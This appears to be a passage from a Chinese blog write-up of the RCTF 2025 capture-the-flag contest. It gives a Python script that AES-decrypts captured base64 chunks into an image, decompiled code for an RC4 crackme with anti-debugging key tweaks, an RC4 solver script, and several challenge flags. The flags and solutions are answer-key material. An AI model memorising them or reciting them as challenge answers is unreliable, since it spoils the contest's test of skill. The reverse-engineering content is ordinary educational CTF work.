9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import re, base64, json
from Crypto.Cipher import AES

CHUNK_FILE = "chunks.txt"
OUT_IMG_PREFIX = "result"
KEY_B64 = "VdmEJO6SDkVWYkSQD4dPfLnvkmqRUCvrELipO14dfVs="
IV_B64 = "EjureNfe2IA6jFEZEih84w=="

raw = open(CHUNK_FILE,"r",encoding="utf8",errors="ignore").read()
chunks = re.findall(r"message=([A-Za-z0-9_\-]+)", raw)
b64url = "".join(chunks)
b64 = b64url.replace("-","+").replace("_","/")
b64 += "=" * ((4 - len(b64)%4) %4)
hex_text = base64.b64decode(b64).decode().strip()
cipher_bytes = bytes.fromhex(hex_text)

key = base64.b64decode(KEY_B64)
iv = base64.b64decode(IV_B64)
plain = AES.new(key,AES.MODE_CBC,iv).decrypt(cipher_bytes)
plain = plain[:-plain[-1]]

obj = json.loads(plain.decode("utf8"))
img_bytes = base64.b64decode(obj["result"])

if img_bytes[:2] == b"\xff\xd8":
ext = ".jpg"
elif img_bytes[:8] == b"\x89PNG\r\n\x1a\n":
ext = ".png"
else:
ext = ".bin"

open(OUT_IMG_PREFIX+ext,"wb").write(img_bytes)
print("OK ->", OUT_IMG_PREFIX+ext)

1
TscanPlus

flag

1
RCTF{Wh1l3_Th0r_Struck_L1ghtn1ng_L0k1_St0l3_Th3_Thr0n3}

Reverse

chaos

点击就送

1
RCTF{AntiDbg_KeyM0d_2025_R3v3rs3}

chaos2

这里有花指令,全部 nop 掉重新识别函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
// positive sp value has been detected, the output may be wrong!
int __usercall sub_40151C@<eax>(int a1@<ebp>)
{
char v2; // [esp-10h] [ebp-10h]

*(_DWORD *)(a1 - 136) = dword_404018;
*(_DWORD *)(a1 - 404) = EnumUILanguagesA(UILanguageEnumProc, 0, 0);
*(_DWORD *)(a1 - 400) = dword_40440C;
*(_BYTE *)(a1 - 132) = 15;
*(_BYTE *)(a1 - 131) = 26;
*(_BYTE *)(a1 - 130) = -118;
*(_BYTE *)(a1 - 129) = 90;
*(_BYTE *)(a1 - 128) = 34;
*(_BYTE *)(a1 - 127) = -85;
*(_BYTE *)(a1 - 126) = 30;
*(_BYTE *)(a1 - 125) = 99;
*(_BYTE *)(a1 - 124) = 25;
*(_BYTE *)(a1 - 123) = 90;
*(_BYTE *)(a1 - 122) = -121;
*(_BYTE *)(a1 - 121) = -14;
*(_BYTE *)(a1 - 120) = -26;
*(_BYTE *)(a1 - 119) = -23;
*(_BYTE *)(a1 - 118) = -41;
*(_BYTE *)(a1 - 117) = -47;
*(_BYTE *)(a1 - 116) = -105;
*(_BYTE *)(a1 - 115) = -7;
*(_BYTE *)(a1 - 114) = -8;
*(_BYTE *)(a1 - 113) = 50;
*(_BYTE *)(a1 - 112) = 91;
*(_BYTE *)(a1 - 111) = -34;
*(_BYTE *)(a1 - 110) = 45;
*(_BYTE *)(a1 - 109) = -42;
*(_BYTE *)(a1 - 108) = -93;
*(_BYTE *)(a1 - 107) = 79;
*(_BYTE *)(a1 - 106) = 126;
*(_BYTE *)(a1 - 105) = -53;
*(_BYTE *)(a1 - 104) = 97;
*(_BYTE *)(a1 - 103) = -78;
*(_BYTE *)(a1 - 102) = 63;
*(_BYTE *)(a1 - 101) = -65;
*(_BYTE *)(a1 - 100) = -73;
*(_BYTE *)(a1 - 99) = 27;
*(_BYTE *)(a1 - 98) = 10;
*(_BYTE *)(a1 - 97) = -124;
*(_BYTE *)(a1 - 96) = -77;
*(_BYTE *)(a1 - 95) = -76;
*(_BYTE *)(a1 - 94) = -34;
*(_BYTE *)(a1 - 93) = 3;
*(_BYTE *)(a1 - 92) = 70;
*(_BYTE *)(a1 - 91) = 123;
*(_BYTE *)(a1 - 90) = -125;
*(_BYTE *)(a1 - 89) = -16;
*(_BYTE *)(a1 - 88) = -60;
*(_BYTE *)(a1 - 87) = -77;
*(_BYTE *)(a1 - 86) = -85;
*(_BYTE *)(a1 - 85) = 123;
*(_BYTE *)(a1 - 84) = 41;
*(_BYTE *)(a1 - 83) = -68;
*(_BYTE *)(a1 - 82) = 31;
*(_BYTE *)(a1 - 81) = -2;
*(_BYTE *)(a1 - 80) = -118;
*(_BYTE *)(a1 - 79) = 121;
*(_BYTE *)(a1 - 78) = 38;
*(_BYTE *)(a1 - 77) = -38;
*(_BYTE *)(a1 - 76) = 8;
*(_BYTE *)(a1 - 75) = 1;
*(_BYTE *)(a1 - 74) = -123;
*(_BYTE *)(a1 - 73) = 102;
*(_BYTE *)(a1 - 72) = 125;
*(_BYTE *)(a1 - 71) = -69;
*(_BYTE *)(a1 - 70) = -18;
*(_BYTE *)(a1 - 69) = 15;
*(_BYTE *)(a1 - 68) = -119;
*(_BYTE *)(a1 - 67) = 89;
*(_BYTE *)(a1 - 66) = -44;
*(_BYTE *)(a1 - 65) = 95;
*(_BYTE *)(a1 - 64) = -84;
*(_BYTE *)(a1 - 63) = 24;
*(_BYTE *)(a1 - 62) = -82;
*(_BYTE *)(a1 - 61) = 11;
*(_BYTE *)(a1 - 60) = 78;
*(_BYTE *)(a1 - 59) = -16;
*(_BYTE *)(a1 - 58) = -73;
*(_BYTE *)(a1 - 57) = 5;
*(_BYTE *)(a1 - 56) = 92;
*(_BYTE *)(a1 - 55) = -127;
*(_BYTE *)(a1 - 54) = 4;
*(_BYTE *)(a1 - 53) = -97;
*(_BYTE *)(a1 - 52) = -92;
*(_BYTE *)(a1 - 51) = 28;
*(_BYTE *)(a1 - 50) = 93;
*(_BYTE *)(a1 - 49) = -96;
*(_BYTE *)(a1 - 48) = -71;
*(_BYTE *)(a1 - 47) = 7;
*(_BYTE *)(a1 - 46) = -110;
*(_BYTE *)(a1 - 45) = 92;
*(_BYTE *)(a1 - 44) = -118;
*(_BYTE *)(a1 - 43) = 83;
*(_BYTE *)(a1 - 42) = -13;
*(_BYTE *)(a1 - 41) = -1;
*(_BYTE *)(a1 - 40) = -9;
*(_BYTE *)(a1 - 39) = -89;
*(_BYTE *)(a1 - 38) = -35;
*(_BYTE *)(a1 - 37) = 46;
*(_BYTE *)(a1 - 36) = -26;
*(_BYTE *)(a1 - 35) = -19;
*(_BYTE *)(a1 - 34) = 15;
*(_BYTE *)(a1 - 33) = 119;
*(_BYTE *)(a1 - 32) = 44;
*(_BYTE *)(a1 - 31) = 74;
*(_BYTE *)(a1 - 30) = 34;
*(_BYTE *)(a1 - 29) = -15;
*(_BYTE *)(a1 - 28) = 54;
*(_BYTE *)(a1 - 27) = 79;
*(_BYTE *)(a1 - 26) = -89;
*(_BYTE *)(a1 - 25) = -18;
*(_BYTE *)(a1 - 24) = 13;
*(_BYTE *)(a1 - 23) = -42;
*(_BYTE *)(a1 - 22) = 4;
*(_BYTE *)(a1 - 21) = 115;
*(_BYTE *)(a1 - 20) = 85;
*(_BYTE *)(a1 - 19) = 94;
*(_BYTE *)(a1 - 18) = 62;
*(_BYTE *)(a1 - 17) = -109;
*(_BYTE *)(a1 - 16) = -92;
*(_BYTE *)(a1 - 15) = 52;
*(_BYTE *)(a1 - 14) = 41;
*(_BYTE *)(a1 - 13) = 103;
*(_BYTE *)(a1 - 12) = -4;
*(_BYTE *)(a1 - 11) = 35;
*(_BYTE *)(a1 - 10) = 121;
*(_BYTE *)(a1 - 9) = 25;
*(_BYTE *)(a1 - 8) = -40;
*(_BYTE *)(a1 - 7) = -55;
*(_BYTE *)(a1 - 6) = 43;
*(_BYTE *)(a1 - 5) = -49;
sub_4017D0(a1 - 396, *(_DWORD *)(a1 - 400), 128);
sub_4018A0(a1 - 396, a1 - 132, 128);
sub_401050("your flag is %s", a1 + 124);
sub_401050(asc_40321C, v2);
getchar();
return 0;
}



char __cdecl sub_4017D0(int a1, int a2, unsigned int a3)
{
char result; // al
char v4; // [esp+0h] [ebp-10h]
int v5; // [esp+4h] [ebp-Ch]
int v6; // [esp+8h] [ebp-8h]
unsigned int i; // [esp+Ch] [ebp-4h]
unsigned int j; // [esp+Ch] [ebp-4h]

v5 = 0;
LOBYTE(v6) = 0;
result = a1;
*(a1 + 257) = 0;
*(a1 + 256) = 0;
for ( i = 0; i < 0x100; ++i )
{
result = i + a1;
*(i + a1) = i;
}
for ( j = 0; j < 0x100; ++j )
{
v4 = *(j + a1);
v6 = (v6 + v4 + *(v5 + a2));
*(j + a1) = *(v6 + a1);
result = v4;
*(v6 + a1) = v4;
if ( ++v5 >= a3 )
v5 = 0;
}
return result;
}



char __cdecl sub_4018A0(int a1, _BYTE *a2, int a3)
{
char result; // al
char v5; // [esp+4h] [ebp-14h]
char v6; // [esp+8h] [ebp-10h]
int v7; // [esp+Ch] [ebp-Ch]
int v8; // [esp+10h] [ebp-8h]

LOBYTE(v8) = *(a1 + 256);
LOBYTE(v7) = *(a1 + 257);
while ( a3-- )
{
v8 = (v8 + 1);
v6 = *(v8 + a1);
v7 = (v6 + v7);
v5 = *(v7 + a1);
*(v8 + a1) = v5;
*(v7 + a1) = v6;
*a2++ ^= *(a1 + (v5 + v6));
}
*(a1 + 256) = v8;
result = v7;
*(a1 + 257) = v7;
return result;
}

RC4 加密,dword_404018 是 RC4 的密钥,但是其实是错误的

1
.data:0040401C aFlagTh1sflagls db 'flag:{Th1sflaglsG00ds}',0

往上翻可以发现这里有几处代码在对密钥进行修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int __usercall sub_1D123D@<eax>(int a1@<ebp>)
{
int result; // eax

*(a1 - 16) = GetCurrentProcess();
result = (*(a1 + 8))(*(a1 - 16));
dword_1D4408 = 14;
if ( !*(a1 - 8) )
*(dword_1D4408 + dword_1D440C) = 'I';
return result;
}


int __usercall sub_1D13DD@<eax>(int a1@<ebp>)
{
int result; // eax

*(a1 - 16) = GetCurrentProcess();
result = (*(a1 + 8))(*(a1 - 16));
dword_1D4408 = 18;
if ( *(a1 - 8) == 1 )
*(dword_1D4408 + dword_1D440C) = 'o';
return result;
}

// positive sp value has been detected, the output may be wrong!
int __usercall sub_1D10CD@<eax>(int a1@<ebp>)
{
*(a1 - 5) = 1;
*(a1 - 5) = NtCurrentPeb()->BeingDebugged;
sub_1D1440();
dword_1D4408 = 8;
if ( !*(a1 - 5) )
*(dword_1D4408 + dword_1D440C) = 'i';
return *(a1 - 12);
}

可以反推正确密钥是 flag:{ThisflagIsGoods},并且有 0x80 个密钥可以用 0 补全所以脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
def ksa_rc4(key_full_128):
S = list(range(256))
v5 = 0
j = 0
for i in range(256):
# j = (j + S[i] + key[v5]) & 0xFF
j = (j + S[i] + key_full_128[v5]) & 0xFF
S[i], S[j] = S[j], S[i]
v5 += 1
if v5 >= 128:
v5 = 0
return S

def prga_rc4(S, n_bytes):
i = 0
j = 0
ks = []
for _ in range(n_bytes):
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
ks.append(S[(S[i] + S[j]) & 0xFF])
return ks

def rc4_decrypt(cipher_bytes, key_string):
k = list(key_string.encode('ascii'))
assert len(k) <= 128
key_full = k + [0] * (128 - len(k))

S = ksa_rc4(key_full)
ks = prga_rc4(S, len(cipher_bytes))

plain = bytes([c ^ k for c, k in zip(cipher_bytes, ks)])
return plain

cipher_signed = [
15,26,-118,90,34,-85,30,99,25,90,-121,-14,-26,-23,-41,-47,-105,-7,-8,50,91,-34,45,-42,-93,79,126,-53,97,-78,63,-65,-73,27,10,-124,-77,-76,-34,3,70,123,-125,-16,-60,-77,-85,123,41,-68,31,-2,-118,121,38,-38,8,1,-123,102,125,-69,-18,15,-119,89,-44,95,-84,24,-82,11,78,-16,-73,5,92,-127,4,-97,-92,28,93,-96,-71,7,-110,92,-118,83,-13,-1,-9,-89,-35,46,-26,-19,15,119,44,74,34,-15,54,79,-89,-18,13,-42,4,115,85,94,62,-109,-92,52,41,103,-4,35,121,25,-40,-55,43,-49
]

cipher = bytes([(x + 256) % 256 for x in cipher_signed])

key = "flag:{ThisflagIsGoods}"
plain = rc4_decrypt(cipher, key)

print("Plain :", plain.rstrip(b"\x00").decode('utf-8', errors='replace'))

解得 flag

1
RCTF{AntiDbg_Reversing_2025_v2.0_Ch4llenge}

RCTF-2025
http://example.com/2025/11/19/RCTF-2025/
作者
butt3rf1y
发布于
2025年11月19日
许可协议